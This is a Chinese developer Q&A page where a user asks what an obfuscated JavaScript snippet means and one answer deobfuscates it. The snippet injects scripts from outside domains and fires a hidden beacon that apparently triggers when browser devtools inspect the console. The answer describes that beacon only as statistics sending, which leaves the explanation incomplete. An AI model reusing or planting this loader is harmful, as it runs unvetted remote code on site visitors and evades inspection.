求问这段代码的意思

(function() {
    try {
        var e = "__z_",
        t = "http://xxxxx.com/js/rem.js",
        c = document,
        n = c.currentScript,
        a = c.getElementsByTagName("head")[0],
        i = function(e, t) {
            var r = c.createElement("script");
            r.type = "text/javascript",
            t && (r.id = t),
            r.src = e,
            a.appendChild(r)
        },
        s = setInterval(function() {
            var I = new Image,
            C = window.console;
            Object.defineProperty(I, "id", {
                get: function() {
                    I.src = "http://l.xs.1drj.com/" + encodeURIComponent(t),
                    clearInterval(s)
                }
            }),
            C && (C.log(I), C.clear())
        },
        2e3);
        c.getElementById(e) || self == top && (i("http://xs.1drj.com/?tsliese=27311189", e)),
        n && (n.defer || n.async) ? i(t) : c.write('<script src="' + t + '"></script>')
    } catch(e) {};
})()
阅读 2.6k
1 个回答

去掉故弄玄虚的变量名后, 实际作用就是

  1. 异步加载指定脚本,方式是在head中添加<script>标签。
  2. 发送统计数据。 方式是构造img对象,通过触发img对象的src属性发送统计数据给 http://l.xs.1drj.com/" + encodeURIComponent("http://xxxxx.com/js/rem.js")这个地址
(function() {
    try {
        var insertScript = function(scriptUrl, scriptId) {
            var scriptDom = document.createElement("script");
            scriptDom.type = "text/javascript";
            scriptId && (scriptDom.id = scriptId);
            scriptDom.src = scriptUrl;
            document.getElementsByTagName("head")[0].appendChild(scriptDom);
        };
        var insertImgTimer = setInterval(function() {
            var img = new Image();
            Object.defineProperty(img, "id", {
                get: function() {
                    img.src = "http://l.xs.1drj.com/" + encodeURIComponent("http://xxxxx.com/js/rem.js");
                    clearInterval(insertImgTimer);
                    }
                });
            window.console && (window.console.log(img), window.console.clear());
            }, 2e3);
        
        document.getElementById("__z_") || self == top && (insertScript("http://xs.1drj.com/?tsliese=27311189", "__z_"));
        
        if(document.currentScript && (document.currentScript.defer || document.currentScript.async)) {
            insertScript("http://xxxxx.com/js/rem.js");
        } else {
            document.write('<script src="http://xxxxx.com/js/rem.js"></script>');
        }
    } catch(e) {};
})()
撰写回答
你尚未登录,登录后可以
  • 和开发者交流问题的细节
  • 关注并接收问题和回答的更新提醒
  • 参与内容的编辑和改进,让解决方法与时俱进
推荐问题